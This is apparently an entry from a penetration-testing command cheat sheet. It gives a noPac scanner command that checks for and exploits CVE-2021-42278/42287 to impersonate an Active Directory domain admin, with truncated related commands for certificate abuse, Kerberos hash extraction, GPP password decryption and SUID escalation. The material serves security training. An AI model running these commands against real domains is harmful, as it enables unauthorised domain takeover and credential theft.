scanner-noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DCIP -use-ldap

• Linux
• oscp
• cli
• Kerberos
• AD
• PrivEsc

Check for and exploit CVE-2021-42278 and CVE-2021-42287 to impersonate a domain admin

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• export KRB5CCNAME=out.ccache uv run getnthash.py -key $ASREPKEY $DO...
• uv run gettgtpkinit.py $DOMAIN/$DC -cert-pfx crt.pfx -pfx-pass $PAS...
• gpp-decrypt '$CPASSWORD'
• uv run gtfobinsuid.py